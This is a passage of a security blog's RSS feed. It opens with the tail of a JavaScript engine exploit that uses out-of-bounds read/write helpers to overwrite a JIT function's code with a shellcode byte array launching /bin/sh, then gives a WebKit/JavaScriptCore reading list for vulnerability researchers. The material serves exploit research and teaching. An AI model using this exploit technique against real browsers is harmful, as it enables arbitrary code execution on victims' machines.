</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">accessor</span>[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">value</span>.<span style="color:#a6e22e">high</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">test</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">hello</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;world&#34;</span> }
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">elements_offset</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">find_offset_smi</span>(<span style="color:#ae81ff">1337</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">double_offset</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">find_offset_double</span>(<span style="color:#ae81ff">1.337</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">testaddress</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">addr_of</span>(<span style="color:#a6e22e">test</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">// print(testaddress);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">array_buffer_backing_store_offset</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">find_offset_smi</span>(<span style="color:#ae81ff">0x200</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">array_buffer_backing_store_offset</span><span style="color:#f92672">++</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">shellcode_array_buffer_backing_store_offset</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">find_offset_smi</span>(<span style="color:#ae81ff">0x5421</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">shellcode_array_buffer_backing_store_offset</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">shellcode_array_buffer_backing_store_offset</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// print(&#34;&gt;&gt; Found shellcode array buffer offset: &#34; + shellcode_array_buffer_backing_store_offset)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitme</span>(<span style="color:#a6e22e">val</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">val</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">100000</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitme</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">100000</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitme</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">100000</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitme</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">100000</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitme</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">jitme</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">SHELLCODE</span> <span style="color:#f92672">=</span> [<span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">184</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">184</span>, <span style="color:#ae81ff">46</span>, <span style="color:#ae81ff">99</span>, <span style="color:#ae81ff">104</span>, <span style="color:#ae81ff">111</span>, <span style="color:#ae81ff">46</span>, <span style="color:#ae81ff">114</span>, <span style="color:#ae81ff">105</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">36</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">137</span>, <span style="color:#ae81ff">231</span>, <span style="color:#ae81ff">104</span>, <span style="color:#ae81ff">44</span>, <span style="color:#ae81ff">98</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">129</span>, <span style="color:#ae81ff">52</span>, <span style="color:#ae81ff">36</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">73</span>, <span style="color:#ae81ff">137</span>, <span style="color:#ae81ff">224</span>, <span style="color:#ae81ff">104</span>, <span style="color:#ae81ff">46</span>, <span style="color:#ae81ff">114</span>, <span style="color:#ae81ff">105</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">129</span>, <span style="color:#ae81ff">52</span>, <span style="color:#ae81ff">36</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">184</span>, <span style="color:#ae81ff">69</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">32</span>, <span style="color:#ae81ff">47</span>, <span style="color:#ae81ff">98</span>, <span style="color:#ae81ff">105</span>, <span style="color:#ae81ff">110</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">184</span>, <span style="color:#ae81ff">101</span>, <span style="color:#ae81ff">99</span>, <span style="color:#ae81ff">104</span>, <span style="color:#ae81ff">111</span>, <span style="color:#ae81ff">32</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">78</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">73</span>, <span style="color:#ae81ff">137</span>, <span style="color:#ae81ff">225</span>, <span style="color:#ae81ff">106</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">254</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">36</span>, <span style="color:#ae81ff">65</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">65</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">106</span>, <span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">88</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">137</span>, <span style="color:#ae81ff">230</span>, <span style="color:#ae81ff">153</span>, <span style="color:#ae81ff">15</span>, <span style="color:#ae81ff">5</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">jitted_function_ptr</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">addr_of</span>(<span style="color:#a6e22e">jitme</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">// print(&#34;JIT Function: &#34; + jitted_function_ptr)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">JIT_ptr</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">read_64</span>(<span style="color:#a6e22e">jitted_function_ptr</span>.<span style="color:#a6e22e">add</span>(<span style="color:#ae81ff">0x38</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>));
</span></span><span style="display:flex;"><span><span style="color:#75715e">// print(&#34;JIT PTR: &#34; + JIT_ptr)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// print(JIT_ptr.to_double())
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// print(new Int64(JIT_ptr).to_double())
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// print(Int64.from_double(oob_array[shellcode_array_buffer_backing_store_offset]))
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">oob_array</span>[<span style="color:#a6e22e">shellcode_array_buffer_backing_store_offset</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">JIT_ptr</span>.<span style="color:#a6e22e">to_double</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">shell_code_writer</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Uint8Array</span>(<span style="color:#a6e22e">shellcode_array_buffer</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// print(Int64.from_double(oob_array[shellcode_array_buffer_backing_store_offset]))
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">shell_code_writer</span>.<span style="color:#a6e22e">set</span>(<span style="color:#a6e22e">SHELLCODE</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">res</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">jitme</span>()
</span></span></code></pre></div>]]></content>
        </item>
        
        <item>
            <title>WebKit &amp; JSC Architecture Reading List - For Vulnerability Researchers [Updated 2022]</title>
            <link>https://zon8.re/posts/jsc-architecture-reading-list-for-vulnerability-researchers/</link>
            <pubDate>Mon, 17 Feb 2020 00:00:00 +0000</pubDate>
            
            <guid>https://zon8.re/posts/jsc-architecture-reading-list-for-vulnerability-researchers/</guid>
            <description>As Markus and Amy of Ret2Systems rightly point out, the best way to start vulnerability research in a new area is to aggregate all possible resources on the topic.
As such we will be compiling and listing all good resources on WebKit and JavaScriptCore architecture relevant to vulnerability research here.
Last Update: 11 November 2022
Videos Michael Saboff — JavaScriptCore, many compilers make this engine perform HolyJS 2019 - This talk covers how JavaScriptCore transforms JS source into bytecode, and then executes that bytecode using various tiers in the engine.</description>
            <content type="html"><![CDATA[<p>As Markus and Amy of Ret2Systems rightly <a href="https://youtu.be/WbuGMs2OcbE?t=570">point out</a>, the best way to start vulnerability research in a new area is to aggregate all possible resources on the topic.</p>
<p>As such we will be compiling and listing all good resources on WebKit and JavaScriptCore architecture relevant to vulnerability research here.</p>
<p><strong>Last Update: 11 November 2022</strong></p>
<h2 id="videos">Videos</h2>
<ul>
<li>
<p><a href="https://www.youtube.com/watch?v=mtVBAcy7AKA">Michael Saboff — JavaScriptCore, many compilers make this engine perform</a> <em>HolyJS 2019</em> -  This talk covers how JavaScriptCore transforms JS source into bytecode, and then executes that bytecode using various tiers in the engine. The talk provides details on the four tiers that execute JS, the purpose of each tier and how code execution moves between those tiers.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=YmbvpkjHDjU">The WebKit Browser Engine An Overview</a> - <em>LinuxConf 2013</em> - A dated but good basic introduction to the Webkit browser engine.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=wylW3QWkrWc">JavaScriptCore&rsquo;s DFG JIT</a> - <em>JSConf EU 2012</em> - This talk takes a look at what DFG JIT is and how it works.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=IFWulQnM5E0">A Tale of Types, Classes, and Maps</a> - <em>JSCamp Barcelona 2018 - Benedikt Meurer</em> - Introduction to the main four JavaScript engines and how they work. Discusses optimixation, deoptimization fundamentals and differences in each engine.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=p-iiEDtpy6I">JavaScript engines - how do they even?</a> - <em>JSConf EU 2017 - Franziska Hinkelmann</em> - Introduction to JIT, optimizing compilers and compiler differences in each JavaScript engine.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=5nmpokoRaZI">JavaScript Engines: The Good Parts</a> - <em>JSConf EU 2018 - Mathias Bynens &amp; Benedikt Meurer</em> - Introduction to the four main JavaScript engines. Covers JavaScript engine fundamentals, handling of different objects, transition trees, and a high level comparison between the optimizing/JIT compilers in each JS engine.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=RVnARGhhs9w">Rendering in WebKit</a> - <em>Google Developers</em> - (Dated) Eric Seidel explains the process from loading the resources, building the DOM tree, and the various trees involved in rendering.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=KVpHouVMTgY">The Butterfly of a JSObject</a> - Part of LiveOverflow&rsquo;s excellent series on browser exploitation. LiveOverflow explains what bufferflies are in JavaScriptCore.</p>
</li>
</ul>
<h2 id="articles">Articles</h2>
<ul>
<li>
<p><a href="https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/">Introducing the WebKit FTL JIT</a></p>
</li>
<li>
<p><a href="https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons">Inverting Your Assumptions: A Guide to JIT Comparisons</a></p>
</li>
<li>
<p><a href="https://mathiasbynens.be/notes/shapes-ics">JavaScript engine fundamentals: Shapes and Inline Caches</a></p>
</li>
<li>
<p><a href="https://webkit.org/blog/5852/introducing-the-b3-jit-compiler/">Introducing the B3 JIT Compiler</a></p>
</li>
<li>
<p><a href="https://webkit.org/blog/9329/a-new-bytecode-format-for-javascriptcore/">A New Bytecode Format for JavaScriptCore</a></p>
</li>
<li>
<p><a href="https://webkit.org/blog/7122/introducing-riptide-webkits-retreating-wavefront-concurrent-garbage-collector/">Introducing Riptide: WebKit’s Retreating Wavefront Concurrent Garbage Collector</a></p>
</li>
<li>
<p><a href="https://webkit.org/blog/7691/webassembly/">Assembling WebAssembly</a></p>
</li>
<li>
<p><a href="https://webkit.org/blog/5397/a-guide-to-assertion-macros-in-webkit/">A Guide to Assertion Macros in WebKit</a></p>
</li>
<li>
<p><a href="http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf">Speculation in JSC (Slides)</a></p>
</li>
<li>
<p><a href="https://phakeobj.netlify.com/posts/gigacage/">Gigacage</a></p>
</li>
<li>
<p><a href="https://webkit.org/blog/3271/webkit-css-selector-jit-compiler/">Overview of Webkit CSS JIT Compiler</a></p>
</li>
<li>
<p><a href="https://labs.f-secure.com/archive/some-brief-notes-on-webkit-heap-hardening/">Some Brief Notes on Webkit Heap Hardening</a></p>
</li>
<li>
<p><a href="https://webkit.org/blog/7846/concurrent-javascript-it-can-work/">Concurrent JavaScript It Can Work</a></p>
</li>
<li>
<p><a href="https://webkit.org/blog/10308/speculation-in-javascriptcore/">Speculation in JavaScriptCore</a></p>
</li>
<li>
<p><a href="https://webkit.org/blog/11934/optimizing-javascript-standard-library-functions-in-jsc/">Optimizing JavaScript Standard Library Functions in JSC</a></p>
</li>
<li>
<p><a href="https://zon8.re/posts/jsc-internals-part1-tracing-js-source-to-bytecode/">JavaScriptCore Internals Part I: Tracing JavaScript Source to Bytecode</a></p>
</li>
<li>
<p><a href="https://zon8.re/posts/jsc-internals-part2-the-llint-and-baseline-jit/">JavaScriptCore Internals Part II: The LLInt and Baseline JIT</a></p>
</li>
<li>
<p><a href="https://zon8.re/posts/jsc-part3-the-dfg-jit-graph-building/">JavaScriptCore Internals Part III: The DFG (Data Flow Graph) JIT – Graph Building</a></p>
</li>
<li>
<p><a href="https://zon8.re/posts/jsc-part4-the-dfg-jit-graph-optimisation/">JavaScriptCore Internals Part IV: The DFG (Data Flow Graph) JIT – Graph Optimisation</a></p>
</li>
<li>
<p><a href="https://zon8.re/posts/jsc-part5-the-dfg-jit-osr/">JavaScriptCore Internals Part V: The DFG (Data Flow Graph) JIT – On Stack Replacement</a></p>
</li>
<li>
<p><a href="https://webkit.org/blog/12967/understanding-gc-in-jsc-from-scratch/">Understanding Garbage Collection in JavaScriptCore From Scratch</a></p>
</li>
<li>
<p><a href="https://webkit.org/blog/11934/optimizing-javascript-standard-library-functions-in-jsc/">Optimizing JavaScript Standard Library Functions in JSC</a></p>
</li>
</ul>
<h2 id="misc">Misc</h2>
<ul>
<li><a href="https://trac.webkit.org/">Trac.WebKit.org</a></li>
<li><a href="https://webkit.org">WebKit.org</a></li>
<li><a href="https://irc.freenode.net">#WebKit IRC Freenode</a></li>
<li><a href="http://lists.webkit.org/">Lists.WebKit.org</a></li>
</ul>
]]></content>
        </item>
        
    </channel>
</rss>
